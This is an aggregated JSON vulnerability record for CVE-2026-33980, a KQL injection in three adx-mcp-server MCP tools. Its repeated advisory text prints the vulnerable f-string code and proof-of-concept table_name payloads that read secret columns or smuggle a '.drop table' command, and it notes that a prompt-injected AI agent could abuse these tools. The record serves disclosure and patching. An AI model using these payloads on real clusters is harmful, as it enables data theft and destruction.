{"id":"CVE-2026-33980","aliases":["EUVD-2026-16878","GHSA-vphc-468g-8rfp","PYSEC-2026-2327"],"status":"published","title":"Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries","description":"Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00403,"percentile":0.35029,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":false},"cwes":["CWE-943"],"published":"2026-03-27T19:08:09Z","modified":"2026-10-28T02:30:48Z","exploits":[{"source":"pocgithub","id":"romain-deperne/CVE-2026-33980","title":"romain-deperne/CVE-2026-33980","date":"2026-04-29","url":"https://github.com/romain-deperne/CVE-2026-33980"}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"adx-mcp-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.1.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"adx-mcp-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.1.0"}]}],"versions":["0.1.0","1.0.0","1.0.2","1.0.3","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0"]},{"source":"osv","ecosystem":"PyPI","package":"adx-mcp-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.1.0"}]}],"versions":["0.1.0","1.0.0","1.0.2","1.0.3","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0"]}],"products":[{"vendor":"pab1it0","product":"adx-mcp-server"},{"vendor":"pab1it0","product":"azure_data_explorer_mcp_server"}],"references":[{"url":"https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/pab1it0/adx-mcp-server/commit/0abe0ee55279e111281076393e5e966335fffd30","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33980","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vphc-468g-8rfp","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33980.json","tags":["advisory"]},{"url":"https://github.com/pab1it0/adx-mcp-server","tags":["package"]},{"url":"https://pypi.org/project/adx-mcp-server","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33980","title":"Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries","description":"Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.","status":"published","published":"2026-03-27T21:32:57.541Z","modified":"2026-03-27T21:56:16.579Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-943"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-16878","description":"Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.","status":"published","published":"2026-03-27T21:32:57Z","modified":"2026-03-27T21:56:16Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T19:25:26.783049Z"}],"ghsa":[{"id":"GHSA-vphc-468g-8rfp","title":"Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries","description":"### Summary\n\nadx-mcp-server (\u003c= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.\n\n### Details\n\nThe MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings:\n\n**Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):\n\n```python\n@mcp.tool(...)\nasync def get_table_schema(table_name: str) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | getschema\"          # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def sample_table_data(table_name: str, sample_size: int = 10) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | sample {sample_size}\"  # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def get_table_details(table_name: str) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\".show table {table_name} details\"     # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\nKQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:\n- `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables\n- Newline-separated management commands like `.drop table important_data` via `get_table_details`\n- Arbitrary KQL analytics queries via any of the three tools\n\n**Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to \"safe\" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.\n\n### PoC\n\n```python\n# PoC: KQL Injection via get_table_schema tool\n# The table_name parameter is injected into: f\"{table_name} | getschema\"\n\nimport json\n\n# MCP tool call that exfiltrates data from a sensitive table\ntool_call = {\n    \"name\": \"get_table_schema\",\n    \"arguments\": {\n        \"table_name\": \"sensitive_data | project Secret, Password | take 100 //\"\n    }\n}\nprint(json.dumps(tool_call, indent=2))\n\n# Resulting KQL: \"sensitive_data | project Secret, Password | take 100 // | getschema\"\n# The // comments out \"| getschema\", executing an arbitrary data query instead\n\n# Destructive example via get_table_details:\ntool_call_destructive = {\n    \"name\": \"get_table_details\",\n    \"arguments\": {\n        \"table_name\": \"users details\\n.drop table critical_data\"\n    }\n}\n# Resulting KQL:\n#   .show table users details\n#   .drop table critical_data details\n```","status":"published","published":"2026-03-27T19:08:09Z","modified":"2026-03-30T20:17:31Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-943"],"updated_at":"2026-11-02T14:39:46.119458Z"}],"nvd":[{"id":"CVE-2026-33980","description":"Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.","status":"published","published":"2026-03-27T22:16:22.607Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-943"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-33980","title":"Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries","description":"Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.","status":"published","published":"2026-03-27T21:32:57.541Z","modified":"2026-10-28T02:30:48.099041321Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-943"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-vphc-468g-8rfp","title":"Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries","description":"### Summary\n\nadx-mcp-server (\u003c= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.\n\n### Details\n\nThe MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings:\n\n**Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):\n\n```python\n@mcp.tool(...)\nasync def get_table_schema(table_name: str) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | getschema\"          # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def sample_table_data(table_name: str, sample_size: int = 10) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | sample {sample_size}\"  # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def get_table_details(table_name: str) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\".show table {table_name} details\"     # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\nKQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:\n- `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables\n- Newline-separated management commands like `.drop table important_data` via `get_table_details`\n- Arbitrary KQL analytics queries via any of the three tools\n\n**Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to \"safe\" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.\n\n### PoC\n\n```python\n# PoC: KQL Injection via get_table_schema tool\n# The table_name parameter is injected into: f\"{table_name} | getschema\"\n\nimport json\n\n# MCP tool call that exfiltrates data from a sensitive table\ntool_call = {\n    \"name\": \"get_table_schema\",\n    \"arguments\": {\n        \"table_name\": \"sensitive_data | project Secret, Password | take 100 //\"\n    }\n}\nprint(json.dumps(tool_call, indent=2))\n\n# Resulting KQL: \"sensitive_data | project Secret, Password | take 100 // | getschema\"\n# The // comments out \"| getschema\", executing an arbitrary data query instead\n\n# Destructive example via get_table_details:\ntool_call_destructive = {\n    \"name\": \"get_table_details\",\n    \"arguments\": {\n        \"table_name\": \"users details\\n.drop table critical_data\"\n    }\n}\n# Resulting KQL:\n#   .show table users details\n#   .drop table critical_data details\n```","status":"published","published":"2026-03-27T19:08:09Z","modified":"2026-07-13T16:43:43.352646701Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-943"],"updated_at":"2026-11-02T15:46:57.694388Z"},{"id":"PYSEC-2026-2327","title":"Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries","description":"### Summary\n\nadx-mcp-server (\u003c= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.\n\n### Details\n\nThe MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings:\n\n**Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):\n\n```python\n@mcp.tool(...)\nasync def get_table_schema(table_name: str) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | getschema\"          # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def sample_table_data(table_name: str, sample_size: int = 10) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | sample {sample_size}\"  # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def get_table_details(table_name: str) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\".show table {table_name} details\"     # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\nKQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:\n- `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables\n- Newline-separated management commands like `.drop table important_data` via `get_table_details`\n- Arbitrary KQL analytics queries via any of the three tools\n\n**Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to \"safe\" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.\n\n### PoC\n\n```python\n# PoC: KQL Injection via get_table_schema tool\n# The table_name parameter is injected into: f\"{table_name} | getschema\"\n\nimport json\n\n# MCP tool call that exfiltrates data from a sensitive table\ntool_call = {\n    \"name\": \"get_table_schema\",\n    \"arguments\": {\n        \"table_name\": \"sensitive_data | project Secret, Password | take 100 //\"\n    }\n}\nprint(json.dumps(tool_call, indent=2))\n\n# Resulting KQL: \"sensitive_data | project Secret, Password | take 100 // | getschema\"\n# The // comments out \"| getschema\", executing an arbitrary data query instead\n\n# Destructive example via get_table_details:\ntool_call_destructive = {\n    \"name\": \"get_table_details\",\n    \"arguments\": {\n        \"table_name\": \"users details\\n.drop table critical_data\"\n    }\n}\n# Resulting KQL:\n#   .show table users details\n#   .drop table critical_data details\n```","status":"published","published":"2026-07-13T14:36:45.388458Z","modified":"2026-07-13T16:31:37.757999013Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:55.537808Z"}]}}